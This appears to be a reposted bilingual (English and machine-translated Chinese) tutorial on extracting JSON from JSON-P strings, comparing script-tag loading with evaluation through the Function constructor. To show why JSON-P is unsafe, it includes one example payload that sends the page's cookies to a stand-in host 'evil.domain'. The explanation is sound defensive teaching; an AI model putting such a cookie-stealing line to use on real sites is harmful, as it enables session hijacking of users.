json-ld 与json

    技术2022-07-10  134

    json-ld 与json

    This is a quickie simple post on JavaScript techniques. We're going to look at how to unwrap the "P" function-call padding from a JSON-P string to get the JSON from it.

    这是有关JavaScript技术的简单快速文章。 我们将研究如何从JSON-P字符串中解包“ P”函数调用填充以从中获取JSON。

    Note: Obviously, the recent push toward ubiquity of CORS is making JSON-P less important these days. But there's still a ton of JSON-P serving APIs out there, and it remains an important part of making cross-domain Ajax requests.

    注意:显然,最近对CORS普及的推动使JSON-P 如今变得不那么重要了。 但是仍然有大量的JSON-P服务API,它仍然是发出跨域Ajax请求的重要组成部分。

    The scenario: you receive (via whatever means: Ajax, whatever) a string of JSON-P (like foo({"id":42})) data, say from some API call, and you want to extract the JSON data to use in your application.

    场景:您通过某种API调用接收(通过任何方式:Ajax,无论如何)一串JSON-P数据(例如foo({"id":42}) ),并且您想要将JSON数据提取到在您的应用程序中使用。

    经典JSON-P处理 (Classic JSON-P Handling)

    The most common approach is to just directly load the JSON-P data into an external <script> element (assuming it's possible to get that data directly via a URL):

    最常见的方法是将JSON-P数据直接加载到外部<script>元素中(假设可以直接通过URL获得该数据):

    var s = document.createElement( "script" ); s.src = "http://some.api.url/?callback=foo&data=whatever"; document.head.appendChild( s );

    Assuming foo({"id":42}) comes back from such a URL call, and there's a global foo(..) function to be called, it will of course receive the {"id":42} JSON data packet.

    假设foo({"id":42})是从此类URL调用返回的,并且有一个全局foo(..)函数要调用,那么它当然会接收{"id":42} JSON数据包。

    There are hundreds of different JS libs/frameworks out there which automate such JSON-P handling. I wrote jXHR years ago as a simple PoC that we could even construct an XHR-like interface for making such JSON-P calls, which looked like:

    那里有数百种不同的JS库/框架,可以自动执行此类JSON-P处理。 多年前,我以简单的PoC形式编写了jXHR ,我们甚至可以构造一个类似XHR的接口来进行此类JSON-P调用,如下所示:

    var x = new jXHR(); x.onreadystatechange = function(data) { if (x.readyState == 4) { console.log( data.id ); // 42 } }; x.open( "GET", "http://some.api.url/?callback=?&data=whatever" ); x.send();

    JSON-P 问题 (JSON-P roblems)

    There are some issues with the classic approach to JSON-P handling.

    经典的JSON-P处理方法存在一些问题。

    The first most glaring issue is that you must have a global foo(..) function declared. Some people (and some JSON-P APIs) allow something like bar.foo(..) as the callback, but that's not always allowed, and even then bar is a global variable (namespace). As JS and the web move toward ES6 features like modules, and heavily de-emphasize global variables/functions, the idea of having to dangle a global variable/function out to catch incoming JSON-P data calls becomes very unattractive.

    第一个最明显的问题是必须声明一个全局foo(..)函数。 有些人(和一些JSON-P API)允许使用bar.foo(..)类的回调作为回调,但这并不总是允许的,甚至bar也是一个全局变量(命名空间)。 随着JS和网络朝着模块之类的ES6功能发展,并且不再强调全局变量/函数,不得不挂掉全局变量/函数以捕获传入的JSON-P数据调用的想法变得非常缺乏吸引力。

    FWIW, jXHR automatically generates unique function names (like jXHR.cb123(..)) for the purpose of passing along to the JSON-P API calls, so that your code didn't need to handle that detail. Since there's already a jXHR namespace, it's a tiny bit more acceptable that jXHR buries its functions on that namespace.

    FWIW,jXHR自动生成唯一的函数名称(如jXHR.cb123(..) ),以传递给JSON-P API调用,因此您的代码无需处理该细节。 由于已经存在一个jXHR命名空间,因此jXHR将其函数埋在该命名空间中是可以接受的。

    But, it would be nice if there was a cleaner way (sans library) to handle JSON-P without such global variables/functions. More on that in a moment.

    但是,如果有一种更简洁的方法(sans库)来处理没有此类全局变量/函数的JSON-P,那就太好了。 稍后再讨论。

    Another issue is if you're going to be making lots of JSON-P API calls, you're going to be constantly creating and DOM-appending new <script> elements, which is quickly going to clutter up the DOM.

    另一个问题是,如果您要进行大量的JSON-P API调用,那么您将不断创建并添加DOM的新<script>元素,这会很快使DOM混乱。

    Of course, most JSON-P utilities (including jXHR) "clean up" after themselves by removing the <script> element from the DOM as soon as it has run. But that's not exactly a pure answer to the issue, because that's going to be creating and throwing away lots of DOM elements, and DOM operations are always slowest and have plenty of memory overhead.

    当然,大多数JSON-P实用程序(包括jXHR)通过在DOM运行后立即从DOM中删除<script>元素来对其进行“清理”。 但这并不是对这个问题的纯粹答案,因为这将创建并丢弃许多DOM元素,并且DOM操作始终是最慢的并且具有大量内存开销。

    Lastly, there have long been concerns over the safety/trustability of JSON-P. Since JSON-P is basically just random JS, any malicious JS code could be injected.

    最后,人们对JSON-P的安全性/可信赖性一直存在担忧 。 由于JSON-P基本上只是随机JS,因此可以注入任何恶意JS代码。

    For example, if a JSON-P API call returned:

    例如,如果返回JSON-P API调用:

    foo({"id":42});(new Image()).src="http://evil.domain/?hijacking="+document.cookies;

    As you can see, that extra JS payload isn't something we generally should want to allow.

    如您所见,额外的JS有效负载不是我们通常不应该允许的。

    The json-p.org effort was intended to define a safer JSON-P subset, as well as tools that allowed you to verify (to the extent possible) that your JSON-P packet is "safe" to execute.

    json-p.org的工作旨在定义一个更安全的JSON-P子集,以及使您能够(尽可能)验证JSON-P数据包“安全”执行的工具。

    But you can't run any such verifications on this returned value if you are having it load directly into a <script> element.

    但是,如果要直接将其加载到<script>元素中,则不能对此返回值进行任何此类验证。

    So, let's look at some alternatives.

    因此,让我们看一些替代方案。

    脚本注入 (Script Injection)

    First, if you have the JSON-P content loaded as a string value (like through an Ajax call, such as from a same-domain server-side Ajax proxy, etc), you can process the value before evaluating it:

    首先,如果您将JSON-P内容作为string值加载(例如通过Ajax调用,例如从同域服务器端Ajax代理等),则可以在评估该值之前对其进行处理:

    var jsonp = ".."; // first, do some parsing, regex filtering, or other sorts of // whitelist checks against the `jsonp` value to see if it's // "safe" // now, run it: var s = document.createElement( "script" ); s.text = jsonp; document.head.appendChild( s );

    Here, we're using "script injection" to run the JSON-P code (after having a chance to check it in whatever way we want) by setting it as the text of an injected <script> element (as opposed to setting the API URL to the src as above).

    在这里,我们通过将“脚本注入”设置为注入的<script>元素的text来运行JSON-P代码(有机会以所需的方式对其进行检查之后)(与设置如上所述的src API URL)。

    Of course, this still has the downsides of needing global variables/functions to handle the JSON-P function call, and it still churns through extra <script> elements with the overhead that brings.

    当然,这仍然存在需要全局变量/函数来处理JSON-P函数调用的缺点,并且它还会增加额外的<script>元素,并带来额外的开销。

    Another problem is that <script>-based evaluation has no graceful error handling, because you have no opportunity to use try..catch around it, for instance (unless of course you modify the JSON-P value itself!).

    另一个问题是,基于<script>的评估没有适当的错误处理,因为例如您没有机会使用try..catch (除非您自己修改JSON-P值!)。

    Another downside to relying on <script> elements is that this works only in browsers. If you have code that needs to run outside a browser, like in node.js (like if your node code is consuming some other JSON-P API), you won't be able to use <script> to handle it.

    依赖<script>元素的另一个缺点是, 这仅在浏览器中有效 。 如果您的代码需要在浏览器外部运行,例如在node.js中运行(例如,如果您的节点代码正在使用其他JSON-P API),则将无法使用<script>来处理它。

    So what's our other option(s)?

    那么,我们还有其他选择吗?

    直接评估 (Direct Evaluation)

    You may wonder: why we can't just do eval(jsonp) to evaluate the JSON-P code? Of course, we can, but there are plenty of downsides.

    您可能想知道:为什么我们不能仅仅通过eval(jsonp)来评估JSON-P代码? 当然可以,但是有很多缺点。

    The main cited concerns against eval(..) are usually execution of untrusted code, but those concerns are moot here since we're already addressing that JSON-P could be malicious and we're already considering the opportunity to inspect/filter the value in some way, if possible.

    引用的主要针对eval(..)关注点通常是不信任代码的执行 ,但是这些关注点在这里不存在,因为我们已经在解决JSON-P 可能是恶意的,并且我们已经在考虑检查/过滤值的机会如果可能的话,以某种方式。

    The real reason you don't want to use eval(..) is a JS one. For various reasons, the mere presence of eval(..) in your code disables various lexical scope optimizations that would normally speed up your code. So, in other words, eval(..) makes your code slower. You should never, ever use eval(..). Period.

    您不想使用eval(..)的真正原因是一个JS。 由于各种原因,代码中仅存在eval(..)会禁用通常可加速代码的各种词法范围优化。 因此,换句话说, eval(..)使您的代码更慢 。 您永远都不要使用eval(..) 。 期。

    But there's another option without such downsides. We can use the Function(..) constructor. Not only does it allow direct evaluation without <script> (so it'll work in node.js), but it also simulataneously solves that whole global variable/function annoyance!

    但是还有另一种没有这种缺点的选择。 我们可以使用Function(..)构造函数。 它不仅可以在没有<script>情况下进行直接评估(因此可以在node.js中使用),而且还可以解决整个全局变量/函数的烦恼!

    Here's how to do it:

    方法如下:

    var jsonp = ".."; // parse/filter `jsonp`'s value if necessary // wrap the JSON-P in a dynamically-defined function var f = new Function( "foo", jsonp ); // `f` is now basically: // function f(foo) { // foo({"id":42}); // } // now, provide a non-global `foo()` to extract the JSON f( function(json){ console.log( json.id ); // 42 } )

    So, new Function( "foo", "foo({\"id\":42})" ) constructs function(foo){ foo({"id":42}) }, which we call f.

    因此, new Function( "foo", "foo({\"id\":42})" )构造function(foo){ foo({"id":42}) } ,我们将其称为f 。

    Do you see what's happening there? The JSON-P calls foo(..), but foo(..) doesn't even need to exist globally anymore. We inject a local (non-global) function of the parameter name foo by calling f( function(json){ .. } ), and when the JSON-P runs, it's none the wiser!

    你看到那里发生了什么吗? JSON-P调用foo(..) ,但是foo(..)甚至不需要全局存在。 我们通过调用f( function(json){ .. } )注入参数名称foo的局部(非全局)函数,并且当JSON-P运行时,这不是更明智的选择!

    So:

    所以:

    We have manual evaluation of the JSON-P, which gives us the chance to check the value first before handling.

    我们对JSON-P进行了手动评估,这使我们有机会在处理之前先检查该值。

    We no longer need global variables/functions to handle the JSON-P function call.

    我们不再需要全局变量/函数来处理JSON-P函数调用。

    Function(..) construction doesn't have the same performance slow-downs of eval(..) (because it can't create scope side-effects!).

    Function(..)构造不会像eval(..)那样具有相同的性能降低速度(因为它无法创建范围的副作用!)。

    This approach works in either browser or node.js because it doesn't rely on <script>.

    这种方法在浏览器或node.js中都有效,因为它不依赖<script> 。

    We have better error-handling capability, because we can wrap try..catch around the f(..) call, whereas you can't do the same with <script>-based evaluation.

    我们具有更好的错误处理能力,因为我们可以将try..catch封装在f(..)调用周围,而基于<script>的评估则无法做到这一点。

    That's a pretty big set of wins over <script>!

    这是赢得<script>的一大笔钱!

    摘要 (Summary)

    Is Function(..) evaluation perfect? Of course not. But it's a lot better and more capable than the classic, common JSON-P approaches out there.

    Function(..)评估是否完美? 当然不是。 但这比那里的经典,通用的JSON-P方法好很多,也更有能力。

    So, if you're still using JSON-P API calls, and chances are a lot of you are, you might want to rethink how you're consuming them. In many cases, the old <script> approach falls well short of the true potential.

    因此,如果您仍在使用JSON-P API调用,并且机会很多,那么您可能需要重新考虑如何使用它们。 在许多情况下,旧的<script>方法远未达到真正的潜力。

    翻译自: https://davidwalsh.name/unwrapping-jsonp

    json-ld 与json

    相关资源:wpsso-schema-json-ld:WPSSO模式JSON-LD标记-源码
    Processed: 0.011, SQL: 9